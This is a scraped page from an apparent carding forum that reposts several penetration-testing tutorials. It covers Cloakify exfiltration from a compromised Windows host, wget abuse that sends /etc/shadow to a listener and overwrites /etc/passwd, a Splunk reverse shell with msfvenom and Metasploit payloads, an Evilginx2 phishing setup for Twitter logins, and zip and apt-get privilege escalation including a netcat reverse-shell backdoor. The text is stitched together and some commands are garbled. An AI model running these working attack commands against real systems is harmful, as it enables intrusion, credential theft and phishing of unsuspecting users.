[Image: 12.png?w=687&ssl=1]

Cloakify Installation and Usages (For Windows)
As we all know this is an exfiltration tool and data could be exfiltrate from any platform either from Linux or Windows based OS, therefore cloakifyfactory has built the application both platforms. In the 1st phase, we have use python-based application for Linux machine and now remotely we are going to deploy cloakify factory inside Windows machine using MSI package of python for our python based application.
Thus, we downloaded the MSI package in our local machine (Kali Linux):
wget

[To see content please register here]

1
wget

[To see content please register here]

Now our purpose is to show how an intruder can remotely exfiltrate the data using cloakifyfactory. So, we had compromised the system first and got the meterpreter session and then uploaded the MSI package inside the victim’s machine to install the dependency required for python.
upload python-2.7.msi .
shell
msiexec /i python-2.7.msi /qn
1
2
3
upload python-2.7.msi .
shell
msiexec /i python-2.7.msi /qn
[Image: 14.png?w=687&ssl=1]

Now download the zip file for cloakifyfactory from GitHub in your local machine.
[Image: 15.png?w=687&ssl=1]

We also need to download 7-zip exe program for extracting the cloakify-master.zip.
[Image: 16.png?w=687&ssl=1]

Now extract the 7za920.zip and you will get the 7za.exe file that we have to inject in the victim’s machine.
[Image: 17.png?w=687&ssl=1]

Now let’s upload 7za.exe and cloakfy-master.zip in the remote system. And further, use the 7za.exe program to unzip the cloakify-master.zip.
Therefore, execute the following command:
upload /root/Downloads/Cloakify-master.zip .
upload /root/Downloads/7za.exe
shell
7za.exe x cloakify-master.zip
1
2
3
4
upload /root/Downloads/Cloakify-master.zip .
upload /root/Downloads/7za.exe
shell
7za.exe x cloakify-master.zip
[Image: 18.png?w=687&ssl=1]

Now we want to transfer the secret.txt file of the compromised machine but directly copying the file might generate the alert, therefore, we will transform the data as done above.
[Image: 19.png?w=687&ssl=1]

Now again we try to covert the content of the secret.txt file by hiding it behind the cloaked file. And it is very simple as performed earlier with little modification. So now we can run the cloakify.py file with the help of python.
C:\Python27\python.exe cloakify.py C:\Users\raj\Desktop\secret.txt ciphers\pokemonGo > dump.txt
type dump.txt
1
2
C:\Python27\python.exe cloakify.py C:\Users\raj\Desktop\secret.txt ciphers\pokemonGo > dump.txt
type dump.txt
Thus, we can observe that with the help of cloakify we have transformed the filetype cannot be detected easily.
Conclusion: cloakify-factory could be very useful for exfiltrating data internally as we saw it has many cipher script that used to the cloaked data file and hence it is a very effective tool for performing text-based steganography.
[Image: 20.png?w=687&ssl=1]

In this article, we are going to describe the entire utility of Wget command and how vital it is in Linux penetration testing. As Wget is used for downloading the files from the server so here we will learn that what else we can do by this command in Privilege Escalation.
NOTE: “The main objective of publishing the series of “Linux for pentester” is to introduce the circumstances and any kind of hurdles that can be faced by any pentester while solving CTF challenges or OSCP labs which are based on Linux privilege escalations. Here we do not criticizing any kind of misconfiguration that a network or system administrator does for providing higher permissions on any programs/binaries/files & etc.”
Table of Content
Introduction to Wget

Major Operation performed using Wget

Exploiting Wget

Sudo Rights Lab setups for Privilege Escalation
Exploiting Sudo rights
SUID Lab setups for Privilege Escalation
Exploiting SUID

Introduction to Wget
The Wget command is a command line utility that enables the user to download single or multiple files simultaneously from internet or server by the help of many protocols like HTTP, HTTPS and FTP. This command performs many operations that can be used by any user while downloading any file from the internet such as: Downloading multiple files, downloading in the background, resuming downloading, renaming any downloaded file, Mirror downloading.
The more functionality of this command can be briefly understood by using its help command. Here we are using -h argument for this function. As we can see by the below image which showing list of many arguments that can be used with Wget command while executing it. For viewing as below image, we will simply type the command on our Linux screenshot as showing below:
wget -h
1
wget -h
[Image: 1.png?w=687&ssl=1]

Major Operation performed using Wget
To download a file: Wget command provides assistance to their user for downloading any file/webpage in both platforms i.e. in front of the current processing screen and also in the background. Here I’m downloading putty.exe file in this article to show the overall working process of Wget command. Type below command to download a single file which use the simple syntax: Wget (option) URL
wget

[To see content please register here]

1
wget

[To see content please register here]

To download a file in background: As we know Wget is a non-interactive downloader that allows the user to download the file in the background too without creating any hassle with the current process.
Here I’m using -b argument for this task following by the whole command as mentioned below.
wget -b

[To see content please register here]

1
wget -b

[To see content please register here]

To overwrite documents to file: Here in the below image, we are showing how one can move the documents of the downloaded file to any other file. We will use the -O (uppercase) argument for this function.
Type the below-mentioned command for the same, in which I have download putty.exe and obtain the output inside raj.exe.
wget -O raj.exe

[To see content please register here]

1
wget -O raj.exe

[To see content please register here]

After completing half download I’m pausing my file by simply pressing ctrl + c to stop my downloading in mid of session just to explain “how we can retrieve or resume our downloading” if we have any network failure issue power cut or any other reasons that can stop our downloading process.
To resume any downloading process: As I have mentioned above if we have any issue or problems that can tend to fail in our downloading process by any mean then we can resume our uncompleted download by -c arguments. Find the below-mentioned command as per screenshot:
wget -c -O raj.exe

[To see content please register here]

1
wget -c -O raj.exe

[To see content please register here]

To download multiple files simultaneously: Wget also allows the user to download multiple files simultaneously instead to download it one by one. Suppose we have any folder that contains multiple links and we want to download all the files together so we will use this command following by -i arguments.
Here I’m creating a file by the name of “link” which contains two links and I want to download both links together. Type the below-mentioned command for performing the same task:
cat link
wget -i link
1
2
cat link
wget -i link
[Image: 4.png?w=687&ssl=1]

To turn off output: Whenever we want to turn off the output of any downloading process then we can use -q arguments for the same. This argument helps the user to download the file in the background by turning off its standard output i.e. downloading the file with complete silence.
We will use Wget command with -q argument for this as shown below.
wget -q

[To see content please register here]

1
wget -q

[To see content please register here]

There so many options inside wget but in this post, we have discussed very of them. Because our vision is to demonstrate privilege escalation by exploiting wget, therefore in the next phase you will learn how to exploit wget for escalating root shell.
[Image: 5.png?w=687&ssl=1]

Exploiting wget
Sudo Rights Lab setups for Privilege Escalation
Now we will set up our lab of Wget command with higher privilege i.e. with administrative rights. As we know the behavior of many commands get changed after getting higher privileges similarly, we will check for the Wget command that what impact it has after getting sudo rights and how we can use it further for privilege escalation.
Refer to this

[To see content please register here]

for more information about sudo rights
It can be clearly understood by the below image in which I have created a local user (test) who possess all sudo rights as root and can perform all task as admin.
To add sudo right open etc/sudoers file and type following as user Privilege specification.
test ALL=(root) NOPASSWD: /usr/bin/Wget
1
test ALL=(root) NOPASSWD: /usr/bin/Wget
[Image: 6.png?w=687&ssl=1]

Exploiting Sudo rights
Now we will start exploiting Wget service by taking the privilege of sudoer’s permission. Suppose we got the sessions of victim’s machine that tend us to have local user access of the targeted system through which we can escalate the root user rights.
Very first we will connect to the target machine with ssh, therefore, type following command to get access through local user login.
ssh [email protected]
1
ssh [email protected]
Then we look for sudo right of “test” user (if given) and found that user “test” can execute Wget command as “root” (since he has ALL user’s right) without a password.
sudo -l
1
sudo -l
Wget utilized the post-file option to send the content of any file. So, here we will use wget command to transfer the content of the /etc/shadow file.
Syntax: sudo /usr/bin/wget --post-file=<path of file> <Listening IP>
1
Syntax: sudo /usr/bin/wget --post-file=<path of file> <Listening IP>
Since post-file will transfer the content of shadow file to the listening IP therefore, we should turn on the listener on the destination machine. Hence open a new terminal and start the netcat listener for receiving the sent data from the source machine.
Type the below command:
sudo /user/bin/wget --post-file=/etc/shadow 192.168.1.17
1
sudo /user/bin/wget --post-file=/etc/shadow 192.168.1.17
[Image: 7.png?w=687&ssl=1]

As we had already turned on the netcat listener on port 80 to receive the content inside the “hash” file.
nc -lvp 80 > hash
1
nc -lvp 80 > hash
[Image: 8.png?w=687&ssl=1]

After this, we will acquire the content of the shadow file of the victim’s machine inside our hash file and then we will use john the ripper to crack the hash value.
Syntax: john <file name>
john hash
1
2
Syntax: john <file name>
john hash
Hmmm!! As we can observe from the given below image that it has cracked the password for user raj.
[Image: 9.png?w=687&ssl=1]

Since we got the credentials for the account of the user: raj so now, we can easily switch the user and will login as raj and further we tried to access root shell by switching.
su raj
sudo su
1
2
su raj
sudo su
And finally, we got the root access hence in this way we spawn the root shell by exploiting wget command.
[Image: 10.png?w=687&ssl=1]

SUID Lab setups for Privilege Escalation
SUID: Set User ID is a type of permission that allows users to execute a file with the permissions of a specified user. Those files which have suid permissions run with higher privileges. Assume we are accessing the target system as a non-root user and we found suid bit enabled binaries, then those file/program/command can run with root privileges.
Read more from here:

[To see content please register here]

Now we are going to give SUID permission on wget so that a local user can take the privilege of wget as the root user.
Hence type following for enabling SUID bit:
which wget
chmod u+s /usr/bin/wget
ls -al /usr/bin/wget
1
2
3
which wget
chmod u+s /usr/bin/wget
ls -al /usr/bin/wget
[Image: 11.png?w=687&ssl=1]

Exploiting SUID
Now again compromise the target’s system and use find command to identify binaries having SUID permission.
find / -perm -u=s -type f 2>/dev/null
1
find / -perm -u=s -type f 2>/dev/null
So here we came to know that SUID bit is enabled for so many binary files, but we are interested in /usr/bin/wget.
[Image: 12.png?w=687&ssl=1]

As we know, wget has suid permission and taking advantage of this right we will try to escalate the root privilege by injecting a new user inside the /etc/passwd file.
First, we will open our /etc/passwd file following by tail command which will read this file from its end and help us to know that the file ends with the user “test”.
[Image: 16.png?w=687&ssl=1]

Now we are creating the salt value of password for our new user and this will be done by using “openssl” following by the command as mentioned in the screenshot below.
openssl passwd -1 -salt ignite pass123
1
openssl passwd -1 -salt ignite pass123
And we will get our hash value something like this: “$1$ignite$3eTbJm980Hz.k1NTdNxe1”; copy it for further use.
[Image: 17.png?w=687&ssl=1]

On moving ahead for the completion of this task now I have copied the entire content of /etc/passwd file in our local machine and will edit a new record for the user “ignite” then paste the above-copied hash password in the record as shown below.
[Image: 18.png?w=687&ssl=1]

Name this file as passwd and run python HTTP server for transferring this file into victim’s machine.
python -m SimpleHTTPServer
1
python -m SimpleHTTPServer
[Image: 19.png?w=687&ssl=1]

Now we want to inject our modified passwd file inside /etc folder to replace the original passwd file. We will use wget with -O to download the passwd file from our machine (Kali Linux) inside a/etc directory which will overwrite the existing passwd file.
cd /etc
wget -O passwd

[To see content please register here]

1
2
cd /etc
wget -O passwd

[To see content please register here]

Now let’s switch to ignite that owns the root user’s privileges and access the root shell.
su ignite
password: pass123
id
1
2
3
su ignite
password: pass123
id
Hence you can notice from the given below image we have escalated the root privilege by abusing
SUID permission on wget.
[Image: 20.png?w=687&ssl=1]

[Guide] How to Penetration Testing on Splunk

Posted by: NINZA - 05-14-2020, 05:42 PM - Forum: Carders Home - No Replies

In this article, we are going to exploit SPLUNK using the reverse shell. One can find this beneficial in exploiting and do penetration testing of SPLUNK environment of their respective IT infrastructure.
Table of Content

Introduction to SPLUNK
Deploying SPLUNK on UBUNTU
Exploiting SPLUNK using a reverse shell

What is SPLUNK?
Splunk Enterprise Security (ES) is a security information and event management (SIEM) solution that provides insight into machine data generated from security technologies such as network, endpoint, access, malware, vulnerability and identity information. It is a premium application that is licensed independently from Splunk core.
Splunk (the product) captures, indexes, and correlates real-time data in a searchable repository from which it can generate graphs, reports, alerts, dashboards, and visualizations.
For more information read from

[To see content please register here]

.
Deploying SPLUNK on UBUNTU
Now we will continue with penetration testing of SPLUNK on LINUX platform (here we are using UBUNTU), the same can be performed on the windows platform as well.
Visit

[To see content please register here]

and register there for downloading the free trial version of SPLUNK. Since we are going to continue with UBUNTU we have downloaded the Splunk for Linux 64 bit (.tgz file).
Once it gets downloaded on your UBUNTU machine, follow the process below for creating an instance of SPLUNK:
Open terminal, go to downloads and extract file using
tar -zxfv splunk-7.3.0-657388c7a488-Linux-x86_64.tgz
1
tar -zxfv splunk-7.3.0-657388c7a488-Linux-x86_64.tgz
[Image: 1.png?w=687&ssl=1]

Now follow these commands for installing splunk:
mv splunk /opt
cd /opt
cd splunk
cd bin/
/opt/splunk/bin/splunk start --accept-license
1
2
3
4
5
mv splunk /opt
cd /opt
cd splunk
cd bin/
/opt/splunk/bin/splunk start --accept-license
When asked enter the username and password you need to configure for Splunk.
[Image: 2.png?w=687&ssl=1]

Once done you should see the following screen with URL of your Splunk GUI
[Image: 3.png?w=687&ssl=1]

Go to http://ubuntu:8000 (URL of your Splunk GUI) and enter the user id and password you configured earlier:
[Image: 4.png?w=687&ssl=1]

Exploiting SPLUNK using a reverse shell
In the first phase, we have discussed how we can deploy Splunk in our local machine (Ubuntu) and in this phase, we will go with Splunk penetration testing where we will try to exploit Splunk for obtaining reverse shell of the machine.
For exploiting Splunk first now download the latest released shell from the following the link:

[To see content please register here]

Now login to Splunk GUI from your kali machine visiting the IP of Ubuntu server: 8000 (192.168.0.37:8000) and login
[Image: 7.png?w=687&ssl=1]

Navigate to the “App: Search & Reporting” option and click on “Search & Reporting”
[Image: 8.png?w=687&ssl=1]

Click on the “Install app from file” option.
[Image: 9.png?w=687&ssl=1]

For installing any app slunk provides upload form to browse any .spl or .tar.gz for uploading. Taking advantages of functionality we will try to upload our Splunk shell that we had downloaded previously.
[Image: 10.png?w=687&ssl=1]

After uploading restart your Splunk instance.
[Image: 11.png?w=687&ssl=1]

Once restarted, go to apps tab again, Find your installed archive (weaponize Splunk for red teaming and pen testing)
We scroll down to find our shell file as shown below. Before we can run, it we need to click on the “Permissions” option to change its permissions.
[Image: 12.png?w=687&ssl=1]

Click on permissions and change to all apps as shown below:
[Image: 13.png?w=687&ssl=1]

Now to execute the shell. We navigate to the search option in Splunk and type in our command defining that we want a reverse shell of standard type to talk to out attach machines IP on the listening port.
| revshell std 192.168.0.7 1234
1
| revshell std 192.168.0.7 1234
[Image: 14.png?w=687&ssl=1]

Now go to Kali Linux and open a terminal:
Start netcat using following command on any port you wish (here I have used 1234)
nc -lvp 1234
1
nc -lvp 1234
Hmmm!! As you can observe that by executing id command we show root uid and gid information but for obtaining proper tty shell we need to break jail.
[Image: 16.png?w=687&ssl=1]

We used Msfvenom to create a python payload.
msfvenom -p cmd/unix/reverse_python lhost=192.168.0.7 lport=4444 R
1
msfvenom -p cmd/unix/reverse_python lhost=192.168.0.7 lport=4444 R
[Image: 17.png?w=687&ssl=1]

The payload is uploaded through our existing Netcat session, all that needed to be done was the payload to be pasted into the terminal and executed but do not forget to run netcat listener inside a new terminal.
[Image: 18.png?w=687&ssl=1]

A new Netcat session is started on the port (4444) that we defined in our payload and we see the execution occur flawlessly. Once this netcat session is started run following command:
python –c 'import pty;pty.spawn("/bin/bash")'
1
python –c 'import pty;pty.spawn("/bin/bash")'
And after executing the command we can see that shell is gained.
[Image: 19.png?w=687&ssl=1]

Meterpreter Session
If you are hoping for a meterpreter session then you can use a multi handler for obtaining reverse connection of victim’s machine.
msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload python/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 192.168.0.7
msf exploit(multi/handler) > set lport 9999
msf exploit(multi/handler) > exploit-j
1
2
3
4
5
msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload python/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 192.168.0.7
msf exploit(multi/handler) > set lport 9999
msf exploit(multi/handler) > exploit-j
[Image: 20.png?w=687&ssl=1]

Type following to execute a reverse shell
| revshell msf 192.168.0.7 9999
1
| revshell msf 192.168.0.7 9999
[Image: 21.png?w=687&ssl=1]

Boooom!! We got the meterpreter session.
And in this way saw Splunk penetration testing
[Image: 22.png?w=687&ssl=1]

This is the successor of Evilginx 1, and it stays in-line with the MITM lineage. This tool is designed for a Phishing attack to capture login credentials and a session cookie.
Table of Content
Overview
Setup

Perquisites
Installation
Domain Setup
Priming Evilginx

Execution

Lure Creation
Attack Simulation

Overview
One of the biggest concerns in today’s cyberspace is Phishing, it’s one of those things that uses what a user is familiar with against them. This is a MITM attack framework that sits between the user and site that they are trying to access to potentially steal their credentials. The framework is written in GO and implements its own HTTP and DNS server, making the setup process a breeze.
Setup
Let’s get acquainted with Evilginx2. The first thing we need to do is setup the Evilginx2 application on our attacking machine, let’s get the IP.
ifconfig
1
ifconfig
[Image: 1.png?w=687&ssl=1]

Perquisites
Evilginx has a few requirements before it can be installed and start working optimally, let’s take of them first.
We use pscp to upload the go install file to our attacking machine, defining where it can find the file and the credentials and IP of the destination machine. Go is a prerequisite for setting up evilginx. You can get Go 1.10.0 from

[To see content please register here]

.
pscp.exe c:\go1.10.linux-amd64.tar.gz [email protected]:/tmp/go1.10.linux-amd65.tar.gz
1
pscp.exe c:\go1.10.linux-amd64.tar.gz [email protected]:/tmp/go1.10.linux-amd65.tar.gz
[Image: 2.png?w=687&ssl=1]

Once we have to Go in our machine we unpack and install it. Pscp deposited our Go file in the tmp folder. We will now be using the following commands to install Go and check its version:
cd /tmp/
ls
tar -C /use/local -xzf go1.10.linux-amd64.tar.gz
export PATH=$PATH:/use/local/go/bin
source $HOME/ .profile
go version
1
2
3
4
5
6
cd /tmp/
ls
tar -C /use/local -xzf go1.10.linux-amd64.tar.gz
export PATH=$PATH:/use/local/go/bin
source $HOME/ .profile
go version
[Image: 3.png?w=687&ssl=1]

Go needs to be added to ~/.profieles now, here’s how you do it:
Open the. profiles file in nano or any other text editor and type in the following
export GOPATH=$HOME/go
export PATH=$PATH:/usr/local/go/bin:$GOPATH/bin
1
2
export GOPATH=$HOME/go
export PATH=$PATH:/usr/local/go/bin:$GOPATH/bin
[Image: 4.png?w=687&ssl=1]

Next, install git make by typing the following:
apt-get install git make
1
apt-get install git make
[Image: 5.png?w=687&ssl=1]

Installation
Now we are ready to install Evilginx, let’s see how.
go get -u github.com/kgretzky/evilginx2
cd $GOPATH/src/github.com/kgretzky/evilginx2
make
make install
1
2
3
4
go get -u github.com/kgretzky/evilginx2
cd $GOPATH/src/github.com/kgretzky/evilginx2
make
make install
[Image: 6.png?w=687&ssl=1]

Let’s launch Evilginx by running the script.
./evilginx
1
./evilginx
[Image: 7.png?w=687&ssl=1]

There is multiple built-in options that the attacker can utilize to choose a site template called Phishlets.
[Image: 8.png?w=687&ssl=1]

Domain Setup
Evilginx works as a relay between the victim and the legitimate website that they are trying to access, to achieve this, the attacker needs a domain of their own. There are plenty of resources on the web from where a free domain can be attained temporarily, we used one such resource. We have setup an attacking domain: userid.cf.
[Image: 9.png?w=687&ssl=1]

The IP of our attacking machine is used in the IP address for the nameserver, if you recall, we noted it earlier on in the process.
[Image: 10.png?w=687&ssl=1]

Priming Evilginx
This is the part where we prime Evilginx for the attack. At the Evilginx terminal, we use the help command to see the various general configuration options that it has.
help
1
help
[Image: 11.png?w=687&ssl=1]

We need to configure Evilginx to use the domain name that we have set up for it and the IP for the attacking machine.
config domain userid.cf
config ip 68.183.85.197
1
2
config domain userid.cf
config ip 68.183.85.197
[Image: 12.png?w=687&ssl=1]

Time to setup the domains. We have used the twitter phishlet with our domain and Evilginx gives us options of modified domain names that we can setup in our hosting site
phishlets hostname twitter twittwer.com.userid.cf
phishlets get-hosts twitter
1
2
phishlets hostname twitter twittwer.com.userid.cf
phishlets get-hosts twitter
[Image: 13.png?w=687&ssl=1]

In our hosting site, we set the A record, which will the IP of the attacking machine and then copy and paste the domain names provided by Evilginx. One thing to note here, we don’t need to copy the “userid.cf” part, we just need the preceding string.
[Image: 14.png?w=687&ssl=1]

Execution
We now have everything we need to execute a successful attack using Evilginx.
The settings have been put into place, now we can start using the tool for what it is intended
phishlets enable twitter
1
phishlets enable twitter
[Image: 15.png?w=687&ssl=1]

Lure Creation
We now need a link that the victim clicks on, in Evilginx, the term for the link is “Lures”.
The help command shows us what options we must use for setting up the lures.
help lures
1
help lures
[Image: 16.png?w=687&ssl=1]

The lures have to be attached with our desired phishlet and a redirect has to be set to point towards the legitimate website that we are trying to harvest credentials for. Once the lures have been configured, we can see what the configurations yield.
lures
lures create twitter
lures edit redirect_url 0 =’https://www.twitter.com’
lures
lures get-url 0
1
2
3
4
5
lures
lures create twitter
lures edit redirect_url 0 =’https://www.twitter.com’
lures
lures get-url 0
[Image: 17.png?w=687&ssl=1]

Attack Simulation
When a victim clicks on our created lure, they will be sent to out phishlet, as can be seen below.
[Image: 18.png?w=687&ssl=1]

The victim enters their credentials and we see Evilginx capturing them and relaying them to the attack machines terminal.
This is a great tool to explore and understand phishing but at the same time, be sure to use it in a controlled setting.
[Image: 19.png?w=687&ssl=1]

Today We are going to tell you that how can we perform Privilege Escalation with Zip command. As we all know that Zip is an easy platform-based file packaging and compression utilities for Unix-like systems like Linux, Windows, etc. The Zip program is used for compressing and packaging documents.
Note: “The main objective of publishing the series of “Linux for pentester” is to introduce the circumstances and any kind of hurdles that can be faced by any pentester while solving CTF challenges or OSCP labs which are based on Linux privilege escalations. Here we do not criticizing any kind of misconfiguration that a network or system administrator does for providing higher permissions on any programs/binaries/files & etc.”
Table of Content

Introduction to ZIP
Major functions of ZIP command
Sudo Rights Lab setups for Privilege Escalation
Exploiting Sudo rights

Introduction to ZIP
Zip is helpful for packaging a number of distribution files, archiving files, and disk storage by compressing unused files or directories momentarily. You can pack a whole directory structure into a single command zip archive. For text files, 2:1 to 3:1 compression ratio is commonplace. But that’s not all. What else we can do with the Zip command. Let’s think out of the box. Now we are doing something creative which might have not tried before; that is, we are trying Privilege Escalation with Zip command. Let’s understand how. In order to perform this first, we will tell you what a Zip command does in Linux. So, let’s start.
Major Operations Performed Using ZIP command
First, we will run zip -h command which means help; it tells you about all the options available in zip command as shown in the picture below.
zip -h
1
zip -h
[Image: 0.png?w=687&ssl=1]

So, our first step is to make a directory. We will first create a directory by the name Ignite and then I will create some text files into this by using touch command.
As you can see, we have created three text files by the name of file1.txt, file2.txt, file3.txt in this folder Ignite. Now we will zip file1.txt and file3.txt and give this file a name zip file.zip followed by the file names.
After this step, we will use ls -la command to check the list of the files.
[Image: 1.png?w=687&ssl=1]

Delete with -d option
-d option – It deletes the file from the zip file. You can delete a file from the archive with the -d option after generating a zip file as we did with file3.txt. We are using -d command to delete file3.txt from the zip file. So first we will specify the zip file name from where we want to delete the file.
zip -d file.zip file3.txt
1
zip -d file.zip file3.txt
[Image: 2.png?w=687&ssl=1]

Update with -u option
so, you will notice that file3.txt is deleted from the file.zip. Now we want to update the zip file and add a text file directly into the zip file. So, we will use -u option
zip -u file.zip file2.txt
1
zip -u file.zip file2.txt
by using the above command, you will notice that file2.txt is directly added into the zip file. i.e. file.zip
Move Multiple files with -m option
Now we will first create files of different extensions in our named Ignite. As you can see that we have created two files of txt, two files of pdf extension and two files of jpg extensions. So, we have files with different extensions. In order to move files of different extensions in a zip file then we need to use -m option. Here you can see that we are using -m option to move all text files in zip file. So, we will run the following command-
zip -m 1.zip *.txt
1
zip -m 1.zip *.txt
As we can check through ls -la that all are text files has been moved into a zip file and as well as all the text files are deleted from their original destination; which reflects that we have performed it successfully. So, we are now trying this on pdf and jpg files as well to move them in a 1.zip zip file.
[Image: 3.png?w=687&ssl=1]

Execute system command using zip
You might have not thought of what else we can do with zip command. We can run any Linux command with the zip file as we are going to do. First, we will make one txt file with touch command as we have done above. The file named raj.txt is created. Now we are trying to execute any Linux command through zip command. Run the following command along with zip file and we will get the output.
zip 1.zip raj.txt -T --unzip-command="sh -c ifconfig"
1
zip 1.zip raj.txt -T --unzip-command="sh -c ifconfig"
As you can see that we have executed the system command through zip command.
[Image: 4.png?w=687&ssl=1]

Exploiting Zip
Sudo Rights Lab setups for Privilege Escalation
The behaviour of zip gets changed when running with higher privilege. Let’s suppose the system admin had given sudo permission to the local user to run zip. This is can be led to privilege escalation once the system is compromised. So here we are going to put test user in the sudoers file so that test user has root the privileges to run zip command as sudo user.
[Image: 5.png?w=687&ssl=1]

Now imagine can we have Privilege shell of victim’s pc by exploiting zip program. It’s very difficult to even think of but very easy to perform. So, let’s do that. First, go to kali’s terminal and connect ubuntu with ssh as we have done in below-
ssh [email protected]
1
ssh [email protected]
Well-done. We have connected through ssh successfully.
Now we will run sudo -l command to check the list the entries of sudo files which are a member of the sudoers file. In the list, we can see that test is a member of the sudoers file and can run the zip program with root privilege.
Let’s exploit!!
Now first we will create a file with touch command as we have created a file raj.txt and now we will compress the raj.txt and through zip file, we are taking a shell. So that we will run the following command-
sudo zip 1.zip raj.txt -T --unzip-command="sh -c /bin/bash"
1
sudo zip 1.zip raj.txt -T --unzip-command="sh -c /bin/bash"
Now we can see that we have successfully taken the shell of the victim’s machine through zip command.
[Image: 6.png?w=687&ssl=1]

In this article, we’ll talk about APT (apt-get) functionality and learn how helpful the apt command is for Linux penetration testing and how we’ll progress apt to scale the greater privilege shell.
Note: “The main objective of publishing the series of “Linux for pentester” is to introduce the circumstances and any kind of hurdles that can be faced by any pentester while solving CTF challenges or OSCP labs which are based on Linux privilege escalations. Here we do not criticizing any kind of misconfiguration that a network or system administrator does for providing higher permissions on any programs/binaries/files & etc.”
Table of Content
Introduction to APT (apt-get)

Major Operation performed using APT (apt-get)

Exploiting APT (apt-get)

Sudo Rights Lab setups for Privilege Escalation
Exploiting Sudo rights: Method -I
Exploiting Sudo rights: Method -II
Exploiting Sudo rights: Method -III
Crontab Lab setups for Privilege Escalation
Exploiting Cron job

Introduction to APT (apt-get)
The apt command is a powerful command-line tool, which works with Ubuntu’s Advanced Packaging Tool (APT) performing such functions as installation of new software packages, upgrade of existing software packages, updating of the package list index, and even upgrading the entire Ubuntu system.
Actions of the apt command, such as installation and removal of packages, are logged in the /var/log/dpkg.log log file.
For further information about the use of APT type:
apt-get -h
1
apt-get -h
[Image: 1.png?w=687&ssl=1]

Major Operation performed using APT (apt-get)

Update the Package: The APT package index is essentially a database of available packages from the repositories defined in the /etc/apt/sources.list file and in the /etc/apt/sources.list.d directory. To update the local package index with the latest changes made in the repositories, type the following:

apt-get update
1
apt-get update

Upgrade Packages: Over time, updated versions of packages currently installed on your computer may become available from the package repositories (for example security updates). To upgrade your system, first update your package index as outlined above, and then type:

apt-get upgrade
apt-get dist-upgrade
1
2
apt-get upgrade
apt-get dist-upgrade
[Image: 2.png?w=687&ssl=1]

Install a Package: we can Installation of packages using the apt tool which is quite easy. For example, to install the OpenSSH-server, type the following:

apt-get install openssh-server
1
apt-get install openssh-server

Un-install a package: we can use remove command to un-install software packages without removing their configuration files.

apt-get remove openssh-server
1
apt-get remove openssh-server

Remove Installed packet: To remove software packages including their configuration files, use the ‘purge’ subcommand as shown below.

apt-get purge openssh-server
1
apt-get purge openssh-server
[Image: 3.png?w=687&ssl=1]

Exploiting APT (apt-get)
Sudo Rights Lab setups for Privilege Escalation
The behaviour of apt-get gets changed when running with higher privilege. Let’s suppose the system admin had given sudo permission to the local user to run apt-get. This is can be led to privilege escalation once the system is compromised.
First all let’s revise what is sudo Permission?
In Linux/Unix, a sudoers file inside /etc is the configuration file for sudo rights. The word sudo represent Super User Do Root privilege task. Sudoers file is that file where the users and groups with root privileges are stored to run some or all commands as root or another user.
[Image: 4.png?w=687&ssl=1]

So here, we had given sudo privilege to test user to run apt-get as root. To add sudo right open etc/sudoers file and type following as user Privilege specification.
test ALL=(ALL) NOPASSWD: /usr/bin/apt-get
1
test ALL=(ALL) NOPASSWD: /usr/bin/apt-get
[Image: 7.png?w=687&ssl=1]

Exploiting Sudo rights: Method -I
Let’s exploit apt-get service by abusing sudo user right. Suppose we had local user access of the targeted system and we want to escalate the root user rights.
So, first, we connect to the target machine with ssh and type following command to get access through local user login.
ssh [email protected]
1
ssh [email protected]
Then we look for sudo right of “test” user (if given) and found that user “test” can execute the apt-get command as “root” (since he has ALL user’s right) without a password.
sudo -l
1
sudo -l
To exploit sudo right through apt service we just run the following command which will invoke bash for us with root privilege as shown in the below image.
sudo apt-get update -o APT::Update: Tongue

re-Invoke::= /bin/bash
1
sudo apt-get update -o APT::Update: Tongue

re-Invoke::= /bin/bash
[Image: 8.png?w=687&ssl=1]

Exploiting Sudo rights: Method-II
We may use apt-get for viewing changes in the packaged version of a project. We can, therefore, enter the following command in order to call a changelog, which dumps in the editor, like Man, data relating to changes to the source package.
sudo apt-get changelog apt
1
sudo apt-get changelog apt
This will open the console like a Man editor to read the apt changelog, here we can inject “!/bin/sh” and press enter to execute bash shell for us.
[Image: 9.png?w=687&ssl=1]

You get “#” shell that means that we successfully escalated the root shell, as shown in the following picture.
[Image: 11.png?w=687&ssl=1]

Exploiting Sudo rights: Method-III
We can use dpkg to construct a package instead of using apt-get to invoke bin/bash. We will first build a temp file, in which we construct a packaging to call /bin/bash, and then install the package via apt-get.
TF=$(mktemp)
echo 'Dpkg: Tongue

re-Invoke {"/bin/sh;false"}' > $TF
sudo apt-get install -c $TF sl
1
2
3
TF=$(mktemp)
echo 'Dpkg: Tongue

re-Invoke {"/bin/sh;false"}' > $TF
sudo apt-get install -c $TF sl
[Image: 12.png?w=687&ssl=1]

Crontab Lab setups for Privilege Escalation
This strategy is based upon a situation in which we assume that apt.conf.d can be written in order to plan a cronjob job to update the package with the command apt-get update. As we have said, we gave /adt-conf.d complete permission.
chmod 777 apt.conf.d
ls -al
1
2
chmod 777 apt.conf.d
ls -al
[Image: 13.png?w=687&ssl=1]

And then schedule the task using crontab to schedule an update of the software after 2 minutes every time as shown the below image
*/2 * *** root apt-get update
[Image: 14.png?w=687&ssl=1]

Exploiting Cron job
Let’s exploit apt-get service by abusing cron job as we all know cron job run as root. Suppose we had access to the targeted system locally and want the root user rights to enhanced limited shell access.
So, first we connect to the target machine with ssh and type following command:
ssh [email protected]
1
ssh [email protected]
And we know apt.conf.d file has full permission as said above (You can also manually check to ensure the writable directory using find command) in the lab setup. Therefore, we will create a malicious file inside apt.conf.d by injecting netcat reverse backdoor:
echo 'apt::Update: Tongue

re-Invoke {“rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc KALI_IP 1234 >/tmp/f”};’ > pwn
1
echo 'apt::Update: Tongue

re-Invoke {“rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc KALI_IP 1234 >/tmp/f”};’ > pwn
[Image: 15.png?w=687&ssl=1]

Start the netcat listener to access the reverse connection of the host machine and wait for 2 minutes to obtain the privilege shell since apt-get update task is scheduled to update the packages every time, after minute through crontab that runs as root and it runs our netcat backdoor pwn to get reverse connections as depicted in the image.
[Image: 16.png?w=687&ssl=1]

References:

[To see content please register here]

[Guide] DC-5 Vulnhub Walkthrough

Posted by: NINZA - 05-14-2020, 05:40 PM - Forum: Carders Home - No Replies

